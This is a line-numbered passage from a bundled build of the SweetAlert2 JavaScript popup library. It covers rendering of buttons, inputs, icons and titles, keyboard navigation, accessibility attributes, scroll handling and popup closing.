  806. }
  807. };
  808. const handleObject = (param, target) => {
  809. if (param.jquery) {
  810. handleJqueryElem(target, param);
  811. } else {
  812. setInnerHtml(target, param.toString());
  813. }
  814. };
  815. const handleJqueryElem = (target, elem) => {
  816. target.textContent = "";
  817. if (0 in elem) {
  818. for (let i = 0; i in elem; i++) {
  819. target.appendChild(elem[i].cloneNode(true));
  820. }
  821. } else {
  822. target.appendChild(elem.cloneNode(true));
  823. }
  824. };
  825. const animationEndEvent = (() => {
  826. if (isNodeEnv()) {
  827. return false;
  828. }
  829. const testEl = document.createElement("div");
  830. const transEndEventNames = {
  831. WebkitAnimation: "webkitAnimationEnd",
  832. // Chrome, Safari and Opera
  833. animation: "animationend"
  834. // Standard syntax
  835. };
  836. for (const i in transEndEventNames) {
  837. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  838. return transEndEventNames[i];
  839. }
  840. }
  841. return false;
  842. })();
  843. const renderActions = (instance, params) => {
  844. const actions = getActions();
  845. const loader = getLoader();
  846. if (!actions || !loader) {
  847. return;
  848. }
  849. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  850. hide(actions);
  851. } else {
  852. show(actions);
  853. }
  854. applyCustomClass(actions, params, "actions");
  855. renderButtons(actions, loader, params);
  856. setInnerHtml(loader, params.loaderHtml || "");
  857. applyCustomClass(loader, params, "loader");
  858. };
  859. function renderButtons(actions, loader, params) {
  860. const confirmButton = getConfirmButton();
  861. const denyButton = getDenyButton();
  862. const cancelButton = getCancelButton();
  863. if (!confirmButton || !denyButton || !cancelButton) {
  864. return;
  865. }
  866. renderButton(confirmButton, "confirm", params);
  867. renderButton(denyButton, "deny", params);
  868. renderButton(cancelButton, "cancel", params);
  869. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  870. if (params.reverseButtons) {
  871. if (params.toast) {
  872. actions.insertBefore(cancelButton, confirmButton);
  873. actions.insertBefore(denyButton, confirmButton);
  874. } else {
  875. actions.insertBefore(cancelButton, loader);
  876. actions.insertBefore(denyButton, loader);
  877. actions.insertBefore(confirmButton, loader);
  878. }
  879. }
  880. }
  881. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  882. if (!params.buttonsStyling) {
  883. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  884. return;
  885. }
  886. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  887. if (params.confirmButtonColor) {
  888. confirmButton.style.backgroundColor = params.confirmButtonColor;
  889. addClass(confirmButton, swalClasses["default-outline"]);
  890. }
  891. if (params.denyButtonColor) {
  892. denyButton.style.backgroundColor = params.denyButtonColor;
  893. addClass(denyButton, swalClasses["default-outline"]);
  894. }
  895. if (params.cancelButtonColor) {
  896. cancelButton.style.backgroundColor = params.cancelButtonColor;
  897. addClass(cancelButton, swalClasses["default-outline"]);
  898. }
  899. }
  900. function renderButton(button, buttonType, params) {
  901. const buttonName = (
  902. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  903. capitalizeFirstLetter(buttonType)
  904. );
  905. toggle(button, params[`show${buttonName}Button`], "inline-block");
  906. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  907. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  908. button.className = swalClasses[buttonType];
  909. applyCustomClass(button, params, `${buttonType}Button`);
  910. }
  911. const renderCloseButton = (instance, params) => {
  912. const closeButton = getCloseButton();
  913. if (!closeButton) {
  914. return;
  915. }
  916. setInnerHtml(closeButton, params.closeButtonHtml || "");
  917. applyCustomClass(closeButton, params, "closeButton");
  918. toggle(closeButton, params.showCloseButton);
  919. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  920. };
  921. const renderContainer = (instance, params) => {
  922. const container = getContainer();
  923. if (!container) {
  924. return;
  925. }
  926. handleBackdropParam(container, params.backdrop);
  927. handlePositionParam(container, params.position);
  928. handleGrowParam(container, params.grow);
  929. applyCustomClass(container, params, "container");
  930. };
  931. function handleBackdropParam(container, backdrop) {
  932. if (typeof backdrop === "string") {
  933. container.style.background = backdrop;
  934. } else if (!backdrop) {
  935. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  936. }
  937. }
  938. function handlePositionParam(container, position) {
  939. if (!position) {
  940. return;
  941. }
  942. if (position in swalClasses) {
  943. addClass(container, swalClasses[position]);
  944. } else {
  945. warn('The "position" parameter is not valid, defaulting to "center"');
  946. addClass(container, swalClasses.center);
  947. }
  948. }
  949. function handleGrowParam(container, grow) {
  950. if (!grow) {
  951. return;
  952. }
  953. addClass(container, swalClasses[`grow-${grow}`]);
  954. }
  955. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  956. const renderInput = (instance, params) => {
  957. const popup = getPopup();
  958. const innerParams = privateProps.innerParams.get(instance);
  959. const rerender = !innerParams || params.input !== innerParams.input;
  960. inputClasses.forEach((inputClass) => {
  961. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  962. setAttributes(inputClass, params.inputAttributes);
  963. inputContainer.className = swalClasses[inputClass];
  964. if (rerender) {
  965. hide(inputContainer);
  966. }
  967. });
  968. if (params.input) {
  969. if (rerender) {
  970. showInput(params);
  971. }
  972. setCustomClass(params);
  973. }
  974. };
  975. const showInput = (params) => {
  976. if (!renderInputType[params.input]) {
  977. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  978. return;
  979. }
  980. const inputContainer = getInputContainer(params.input);
  981. const input = renderInputType[params.input](inputContainer, params);
  982. show(inputContainer);
  983. if (params.inputAutoFocus) {
  984. setTimeout(() => {
  985. focusInput(input);
  986. });
  987. }
  988. };
  989. const removeAttributes = (input) => {
  990. for (let i = 0; i < input.attributes.length; i++) {
  991. const attrName = input.attributes[i].name;
  992. if (!["id", "type", "value", "style"].includes(attrName)) {
  993. input.removeAttribute(attrName);
  994. }
  995. }
  996. };
  997. const setAttributes = (inputClass, inputAttributes) => {
  998. const input = getInput$1(getPopup(), inputClass);
  999. if (!input) {
  1000. return;
  1001. }
  1002. removeAttributes(input);
  1003. for (const attr in inputAttributes) {
  1004. input.setAttribute(attr, inputAttributes[attr]);
  1005. }
  1006. };
  1007. const setCustomClass = (params) => {
  1008. const inputContainer = getInputContainer(params.input);
  1009. if (typeof params.customClass === "object") {
  1010. addClass(inputContainer, params.customClass.input);
  1011. }
  1012. };
  1013. const setInputPlaceholder = (input, params) => {
  1014. if (!input.placeholder || params.inputPlaceholder) {
  1015. input.placeholder = params.inputPlaceholder;
  1016. }
  1017. };
  1018. const setInputLabel = (input, prependTo, params) => {
  1019. if (params.inputLabel) {
  1020. const label = document.createElement("label");
  1021. const labelClass = swalClasses["input-label"];
  1022. label.setAttribute("for", input.id);
  1023. label.className = labelClass;
  1024. if (typeof params.customClass === "object") {
  1025. addClass(label, params.customClass.inputLabel);
  1026. }
  1027. label.innerText = params.inputLabel;
  1028. prependTo.insertAdjacentElement("beforebegin", label);
  1029. }
  1030. };
  1031. const getInputContainer = (inputType) => {
  1032. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1033. };
  1034. const checkAndSetInputValue = (input, inputValue) => {
  1035. if (["string", "number"].includes(typeof inputValue)) {
  1036. input.value = `${inputValue}`;
  1037. } else if (!isPromise(inputValue)) {
  1038. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1039. }
  1040. };
  1041. const renderInputType = {};
  1042. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1043. checkAndSetInputValue(input, params.inputValue);
  1044. setInputLabel(input, input, params);
  1045. setInputPlaceholder(input, params);
  1046. input.type = params.input;
  1047. return input;
  1048. };
  1049. renderInputType.file = (input, params) => {
  1050. setInputLabel(input, input, params);
  1051. setInputPlaceholder(input, params);
  1052. return input;
  1053. };
  1054. renderInputType.range = (range, params) => {
  1055. const rangeInput = range.querySelector("input");
  1056. const rangeOutput = range.querySelector("output");
  1057. checkAndSetInputValue(rangeInput, params.inputValue);
  1058. rangeInput.type = params.input;
  1059. checkAndSetInputValue(rangeOutput, params.inputValue);
  1060. setInputLabel(rangeInput, range, params);
  1061. return range;
  1062. };
  1063. renderInputType.select = (select, params) => {
  1064. select.textContent = "";
  1065. if (params.inputPlaceholder) {
  1066. const placeholder = document.createElement("option");
  1067. setInnerHtml(placeholder, params.inputPlaceholder);
  1068. placeholder.value = "";
  1069. placeholder.disabled = true;
  1070. placeholder.selected = true;
  1071. select.appendChild(placeholder);
  1072. }
  1073. setInputLabel(select, select, params);
  1074. return select;
  1075. };
  1076. renderInputType.radio = (radio) => {
  1077. radio.textContent = "";
  1078. return radio;
  1079. };
  1080. renderInputType.checkbox = (checkboxContainer, params) => {
  1081. const checkbox = getInput$1(getPopup(), "checkbox");
  1082. checkbox.value = "1";
  1083. checkbox.checked = Boolean(params.inputValue);
  1084. const label = checkboxContainer.querySelector("span");
  1085. setInnerHtml(label, params.inputPlaceholder);
  1086. return checkbox;
  1087. };
  1088. renderInputType.textarea = (textarea, params) => {
  1089. checkAndSetInputValue(textarea, params.inputValue);
  1090. setInputPlaceholder(textarea, params);
  1091. setInputLabel(textarea, textarea, params);
  1092. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1093. setTimeout(() => {
  1094. if ("MutationObserver" in window) {
  1095. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1096. const textareaResizeHandler = () => {
  1097. if (!document.body.contains(textarea)) {
  1098. return;
  1099. }
  1100. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1101. if (textareaWidth > initialPopupWidth) {
  1102. getPopup().style.width = `${textareaWidth}px`;
  1103. } else {
  1104. applyNumericalStyle(getPopup(), "width", params.width);
  1105. }
  1106. };
  1107. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1108. attributes: true,
  1109. attributeFilter: ["style"]
  1110. });
  1111. }
  1112. });
  1113. return textarea;
  1114. };
  1115. const renderContent = (instance, params) => {
  1116. const htmlContainer = getHtmlContainer();
  1117. if (!htmlContainer) {
  1118. return;
  1119. }
  1120. applyCustomClass(htmlContainer, params, "htmlContainer");
  1121. if (params.html) {
  1122. parseHtmlToContainer(params.html, htmlContainer);
  1123. show(htmlContainer, "block");
  1124. } else if (params.text) {
  1125. htmlContainer.textContent = params.text;
  1126. show(htmlContainer, "block");
  1127. } else {
  1128. hide(htmlContainer);
  1129. }
  1130. renderInput(instance, params);
  1131. };
  1132. const renderFooter = (instance, params) => {
  1133. const footer = getFooter();
  1134. if (!footer) {
  1135. return;
  1136. }
  1137. toggle(footer, params.footer);
  1138. if (params.footer) {
  1139. parseHtmlToContainer(params.footer, footer);
  1140. }
  1141. applyCustomClass(footer, params, "footer");
  1142. };
  1143. const renderIcon = (instance, params) => {
  1144. const innerParams = privateProps.innerParams.get(instance);
  1145. const icon = getIcon();
  1146. if (!icon) {
  1147. return;
  1148. }
  1149. if (innerParams && params.icon === innerParams.icon) {
  1150. setContent(icon, params);
  1151. applyStyles(icon, params);
  1152. return;
  1153. }
  1154. if (!params.icon && !params.iconHtml) {
  1155. hide(icon);
  1156. return;
  1157. }
  1158. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1159. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1160. hide(icon);
  1161. return;
  1162. }
  1163. show(icon);
  1164. setContent(icon, params);
  1165. applyStyles(icon, params);
  1166. addClass(icon, params.showClass && params.showClass.icon);
  1167. };
  1168. const applyStyles = (icon, params) => {
  1169. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1170. if (params.icon !== iconType) {
  1171. removeClass(icon, iconClassName);
  1172. }
  1173. }
  1174. addClass(icon, params.icon && iconTypes[params.icon]);
  1175. setColor(icon, params);
  1176. adjustSuccessIconBackgroundColor();
  1177. applyCustomClass(icon, params, "icon");
  1178. };
  1179. const adjustSuccessIconBackgroundColor = () => {
  1180. const popup = getPopup();
  1181. if (!popup) {
  1182. return;
  1183. }
  1184. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1185. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1186. for (let i = 0; i < successIconParts.length; i++) {
  1187. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1188. }
  1189. };
  1190. const successIconHtml = `
  1191. <div class="swal2-success-circular-line-left"></div>
  1192. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1193. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1194. <div class="swal2-success-circular-line-right"></div>
  1195. `;
  1196. const errorIconHtml = `
  1197. <span class="swal2-x-mark">
  1198. <span class="swal2-x-mark-line-left"></span>
  1199. <span class="swal2-x-mark-line-right"></span>
  1200. </span>
  1201. `;
  1202. const setContent = (icon, params) => {
  1203. if (!params.icon) {
  1204. return;
  1205. }
  1206. let oldContent = icon.innerHTML;
  1207. let newContent;
  1208. if (params.iconHtml) {
  1209. newContent = iconContent(params.iconHtml);
  1210. } else if (params.icon === "success") {
  1211. newContent = successIconHtml;
  1212. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1213. } else if (params.icon === "error") {
  1214. newContent = errorIconHtml;
  1215. } else {
  1216. const defaultIconHtml = {
  1217. question: "?",
  1218. warning: "!",
  1219. info: "i"
  1220. };
  1221. newContent = iconContent(defaultIconHtml[params.icon]);
  1222. }
  1223. if (oldContent.trim() !== newContent.trim()) {
  1224. setInnerHtml(icon, newContent);
  1225. }
  1226. };
  1227. const setColor = (icon, params) => {
  1228. if (!params.iconColor) {
  1229. return;
  1230. }
  1231. icon.style.color = params.iconColor;
  1232. icon.style.borderColor = params.iconColor;
  1233. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1234. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1235. }
  1236. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1237. };
  1238. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1239. const renderImage = (instance, params) => {
  1240. const image = getImage();
  1241. if (!image) {
  1242. return;
  1243. }
  1244. if (!params.imageUrl) {
  1245. hide(image);
  1246. return;
  1247. }
  1248. show(image, "");
  1249. image.setAttribute("src", params.imageUrl);
  1250. image.setAttribute("alt", params.imageAlt || "");
  1251. applyNumericalStyle(image, "width", params.imageWidth);
  1252. applyNumericalStyle(image, "height", params.imageHeight);
  1253. image.className = swalClasses.image;
  1254. applyCustomClass(image, params, "image");
  1255. };
  1256. const renderPopup = (instance, params) => {
  1257. const container = getContainer();
  1258. const popup = getPopup();
  1259. if (!container || !popup) {
  1260. return;
  1261. }
  1262. if (params.toast) {
  1263. applyNumericalStyle(container, "width", params.width);
  1264. popup.style.width = "100%";
  1265. const loader = getLoader();
  1266. loader && popup.insertBefore(loader, getIcon());
  1267. } else {
  1268. applyNumericalStyle(popup, "width", params.width);
  1269. }
  1270. applyNumericalStyle(popup, "padding", params.padding);
  1271. if (params.color) {
  1272. popup.style.color = params.color;
  1273. }
  1274. if (params.background) {
  1275. popup.style.background = params.background;
  1276. }
  1277. hide(getValidationMessage());
  1278. addClasses$1(popup, params);
  1279. };
  1280. const addClasses$1 = (popup, params) => {
  1281. const showClass = params.showClass || {};
  1282. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1283. if (params.toast) {
  1284. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1285. addClass(popup, swalClasses.toast);
  1286. } else {
  1287. addClass(popup, swalClasses.modal);
  1288. }
  1289. applyCustomClass(popup, params, "popup");
  1290. if (typeof params.customClass === "string") {
  1291. addClass(popup, params.customClass);
  1292. }
  1293. if (params.icon) {
  1294. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1295. }
  1296. };
  1297. const renderProgressSteps = (instance, params) => {
  1298. const progressStepsContainer = getProgressSteps();
  1299. if (!progressStepsContainer) {
  1300. return;
  1301. }
  1302. const {
  1303. progressSteps,
  1304. currentProgressStep
  1305. } = params;
  1306. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1307. hide(progressStepsContainer);
  1308. return;
  1309. }
  1310. show(progressStepsContainer);
  1311. progressStepsContainer.textContent = "";
  1312. if (currentProgressStep >= progressSteps.length) {
  1313. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1314. }
  1315. progressSteps.forEach((step, index) => {
  1316. const stepEl = createStepElement(step);
  1317. progressStepsContainer.appendChild(stepEl);
  1318. if (index === currentProgressStep) {
  1319. addClass(stepEl, swalClasses["active-progress-step"]);
  1320. }
  1321. if (index !== progressSteps.length - 1) {
  1322. const lineEl = createLineElement(params);
  1323. progressStepsContainer.appendChild(lineEl);
  1324. }
  1325. });
  1326. };
  1327. const createStepElement = (step) => {
  1328. const stepEl = document.createElement("li");
  1329. addClass(stepEl, swalClasses["progress-step"]);
  1330. setInnerHtml(stepEl, step);
  1331. return stepEl;
  1332. };
  1333. const createLineElement = (params) => {
  1334. const lineEl = document.createElement("li");
  1335. addClass(lineEl, swalClasses["progress-step-line"]);
  1336. if (params.progressStepsDistance) {
  1337. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1338. }
  1339. return lineEl;
  1340. };
  1341. const renderTitle = (instance, params) => {
  1342. const title = getTitle();
  1343. if (!title) {
  1344. return;
  1345. }
  1346. toggle(title, params.title || params.titleText, "block");
  1347. if (params.title) {
  1348. parseHtmlToContainer(params.title, title);
  1349. }
  1350. if (params.titleText) {
  1351. title.innerText = params.titleText;
  1352. }
  1353. applyCustomClass(title, params, "title");
  1354. };
  1355. const render = (instance, params) => {
  1356. renderPopup(instance, params);
  1357. renderContainer(instance, params);
  1358. renderProgressSteps(instance, params);
  1359. renderIcon(instance, params);
  1360. renderImage(instance, params);
  1361. renderTitle(instance, params);
  1362. renderCloseButton(instance, params);
  1363. renderContent(instance, params);
  1364. renderActions(instance, params);
  1365. renderFooter(instance, params);
  1366. const popup = getPopup();
  1367. if (typeof params.didRender === "function" && popup) {
  1368. params.didRender(popup);
  1369. }
  1370. };
  1371. const isVisible = () => {
  1372. return isVisible$1(getPopup());
  1373. };
  1374. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1375. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1376. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1377. const DismissReason = Object.freeze({
  1378. cancel: "cancel",
  1379. backdrop: "backdrop",
  1380. close: "close",
  1381. esc: "esc",
  1382. timer: "timer"
  1383. });
  1384. const removeKeydownHandler = (globalState2) => {
  1385. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1386. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1387. capture: globalState2.keydownListenerCapture
  1388. });
  1389. globalState2.keydownHandlerAdded = false;
  1390. }
  1391. };
  1392. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1393. removeKeydownHandler(globalState2);
  1394. if (!innerParams.toast) {
  1395. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1396. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1397. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1398. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1399. capture: globalState2.keydownListenerCapture
  1400. });
  1401. globalState2.keydownHandlerAdded = true;
  1402. }
  1403. };
  1404. const setFocus = (index, increment) => {
  1405. const focusableElements = getFocusableElements();
  1406. if (focusableElements.length) {
  1407. index = index + increment;
  1408. if (index === focusableElements.length) {
  1409. index = 0;
  1410. } else if (index === -1) {
  1411. index = focusableElements.length - 1;
  1412. }
  1413. focusableElements[index].focus();
  1414. return;
  1415. }
  1416. getPopup().focus();
  1417. };
  1418. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1419. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1420. const keydownHandler = (instance, event, dismissWith) => {
  1421. const innerParams = privateProps.innerParams.get(instance);
  1422. if (!innerParams) {
  1423. return;
  1424. }
  1425. if (event.isComposing || event.keyCode === 229) {
  1426. return;
  1427. }
  1428. if (innerParams.stopKeydownPropagation) {
  1429. event.stopPropagation();
  1430. }
  1431. if (event.key === "Enter") {
  1432. handleEnter(instance, event, innerParams);
  1433. } else if (event.key === "Tab") {
  1434. handleTab(event);
  1435. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1436. handleArrows(event.key);
  1437. } else if (event.key === "Escape") {
  1438. handleEsc(event, innerParams, dismissWith);
  1439. }
  1440. };
  1441. const handleEnter = (instance, event, innerParams) => {
  1442. if (!callIfFunction(innerParams.allowEnterKey)) {
  1443. return;
  1444. }
  1445. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1446. if (["textarea", "file"].includes(innerParams.input)) {
  1447. return;
  1448. }
  1449. clickConfirm();
  1450. event.preventDefault();
  1451. }
  1452. };
  1453. const handleTab = (event) => {
  1454. const targetElement = event.target;
  1455. const focusableElements = getFocusableElements();
  1456. let btnIndex = -1;
  1457. for (let i = 0; i < focusableElements.length; i++) {
  1458. if (targetElement === focusableElements[i]) {
  1459. btnIndex = i;
  1460. break;
  1461. }
  1462. }
  1463. if (!event.shiftKey) {
  1464. setFocus(btnIndex, 1);
  1465. } else {
  1466. setFocus(btnIndex, -1);
  1467. }
  1468. event.stopPropagation();
  1469. event.preventDefault();
  1470. };
  1471. const handleArrows = (key) => {
  1472. const confirmButton = getConfirmButton();
  1473. const denyButton = getDenyButton();
  1474. const cancelButton = getCancelButton();
  1475. const buttons = [confirmButton, denyButton, cancelButton];
  1476. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1477. return;
  1478. }
  1479. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1480. let buttonToFocus = document.activeElement;
  1481. for (let i = 0; i < getActions().children.length; i++) {
  1482. buttonToFocus = buttonToFocus[sibling];
  1483. if (!buttonToFocus) {
  1484. return;
  1485. }
  1486. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1487. break;
  1488. }
  1489. }
  1490. if (buttonToFocus instanceof HTMLButtonElement) {
  1491. buttonToFocus.focus();
  1492. }
  1493. };
  1494. const handleEsc = (event, innerParams, dismissWith) => {
  1495. if (callIfFunction(innerParams.allowEscapeKey)) {
  1496. event.preventDefault();
  1497. dismissWith(DismissReason.esc);
  1498. }
  1499. };
  1500. var privateMethods = {
  1501. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1502. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1503. };
  1504. const setAriaHidden = () => {
  1505. const bodyChildren = Array.from(document.body.children);
  1506. bodyChildren.forEach((el) => {
  1507. if (el === getContainer() || el.contains(getContainer())) {
  1508. return;
  1509. }
  1510. if (el.hasAttribute("aria-hidden")) {
  1511. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1512. }
  1513. el.setAttribute("aria-hidden", "true");
  1514. });
  1515. };
  1516. const unsetAriaHidden = () => {
  1517. const bodyChildren = Array.from(document.body.children);
  1518. bodyChildren.forEach((el) => {
  1519. if (el.hasAttribute("data-previous-aria-hidden")) {
  1520. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1521. el.removeAttribute("data-previous-aria-hidden");
  1522. } else {
  1523. el.removeAttribute("aria-hidden");
  1524. }
  1525. });
  1526. };
  1527. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1528. const iOSfix = () => {
  1529. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1530. const offset = document.body.scrollTop;
  1531. document.body.style.top = `${offset * -1}px`;
  1532. addClass(document.body, swalClasses.iosfix);
  1533. lockBodyScroll();
  1534. }
  1535. };
  1536. const lockBodyScroll = () => {
  1537. const container = getContainer();
  1538. let preventTouchMove;
  1539. container.ontouchstart = (event) => {
  1540. preventTouchMove = shouldPreventTouchMove(event);
  1541. };
  1542. container.ontouchmove = (event) => {
  1543. if (preventTouchMove) {
  1544. event.preventDefault();
  1545. event.stopPropagation();
  1546. }
  1547. };
  1548. };
  1549. const shouldPreventTouchMove = (event) => {
  1550. const target = event.target;
  1551. const container = getContainer();
  1552. if (isStylus(event) || isZoom(event)) {
  1553. return false;
  1554. }
  1555. if (target === container) {
  1556. return true;
  1557. }
  1558. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1559. target.tagName !== "TEXTAREA" && // #2266
  1560. !(isScrollable(getHtmlContainer()) && // #1944
  1561. getHtmlContainer().contains(target))) {
  1562. return true;
  1563. }
  1564. return false;
  1565. };
  1566. const isStylus = (event) => {
  1567. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1568. };
  1569. const isZoom = (event) => {
  1570. return event.touches && event.touches.length > 1;
  1571. };
  1572. const undoIOSfix = () => {
  1573. if (hasClass(document.body, swalClasses.iosfix)) {
  1574. const offset = parseInt(document.body.style.top, 10);
  1575. removeClass(document.body, swalClasses.iosfix);
  1576. document.body.style.top = "";
  1577. document.body.scrollTop = offset * -1;
  1578. }
  1579. };
  1580. const measureScrollbar = () => {
  1581. const scrollDiv = document.createElement("div");
  1582. scrollDiv.className = swalClasses["scrollbar-measure"];
  1583. document.body.appendChild(scrollDiv);
  1584. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1585. document.body.removeChild(scrollDiv);
  1586. return scrollbarWidth;
  1587. };
  1588. let previousBodyPadding = null;
  1589. const fixScrollbar = () => {
  1590. if (previousBodyPadding !== null) {
  1591. return;
  1592. }
  1593. if (document.body.scrollHeight > window.innerHeight) {
  1594. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1595. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1596. }
  1597. };
  1598. const undoScrollbar = () => {
  1599. if (previousBodyPadding !== null) {
  1600. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1601. previousBodyPadding = null;
  1602. }
  1603. };
  1604. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1605. if (isToast()) {
  1606. triggerDidCloseAndDispose(instance, didClose);
  1607. } else {
  1608. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1609. removeKeydownHandler(globalState);
  1610. }
  1611. if (isSafariOrIOS) {
  1612. container.setAttribute("style", "display:none !important");
  1613. container.removeAttribute("class");
  1614. container.innerHTML = "";
  1615. } else {
  1616. container.remove();
  1617. }
  1618. if (isModal()) {
  1619. undoScrollbar();
  1620. undoIOSfix();
  1621. unsetAriaHidden();
  1622. }
  1623. removeBodyClasses();
  1624. }
  1625. function removeBodyClasses() {
  1626. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1627. }
  1628. function close(resolveValue) {
  1629. resolveValue = prepareResolveValue(resolveValue);
  1630. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1631. const didClose = triggerClosePopup(this);
  1632. if (this.isAwaitingPromise) {
  1633. if (!resolveValue.isDismissed) {
  1634. handleAwaitingPromise(this);
  1635. swalPromiseResolve(resolveValue);
  1636. }
  1637. } else if (didClose) {
  1638. swalPromiseResolve(resolveValue);
  1639. }
  1640. }
  1641. const triggerClosePopup = (instance) => {
  1642. const popup = getPopup();
  1643. if (!popup) {
  1644. return false;
  1645. }
  1646. const innerParams = privateProps.innerParams.get(instance);
  1647. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1648. return false;
  1649. }
  1650. removeClass(popup, innerParams.showClass.popup);
  1651. addClass(popup, innerParams.hideClass.popup);
  1652. const backdrop = getContainer();
  1653. removeClass(backdrop, innerParams.showClass.backdrop);
  1654. addClass(backdrop, innerParams.hideClass.backdrop);
  1655. handlePopupAnimation(instance, popup, innerParams);
  1656. return true;
  1657. };
  1658. function rejectPromise(error2) {
  1659. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1660. handleAwaitingPromise(this);
  1661. if (rejectPromise2) {
  1662. rejectPromise2(error2);
  1663. }
  1664. }
  1665. const handleAwaitingPromise = (instance) => {
  1666. if (instance.isAwaitingPromise) {
  1667. delete instance.isAwaitingPromise;
  1668. if (!privateProps.innerParams.get(instance)) {
  1669. instance._destroy();
  1670. }
  1671. }
  1672. };
  1673. const prepareResolveValue = (resolveValue) => {
  1674. if (typeof resolveValue === "undefined") {
  1675. return {
  1676. isConfirmed: false,
  1677. isDenied: false,
  1678. isDismissed: true
  1679. };
  1680. }
  1681. return Object.assign({
  1682. isConfirmed: false,
  1683. isDenied: false,
  1684. isDismissed: false
  1685. }, resolveValue);
  1686. };
  1687. const handlePopupAnimation = (instance, popup, innerParams) => {
  1688. const container = getContainer();
  1689. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1690. if (typeof innerParams.willClose === "function") {
  1691. innerParams.willClose(popup);
  1692. }
  1693. if (animationIsSupported) {
  1694. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1695. } else {
  1696. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1697. }
  1698. };
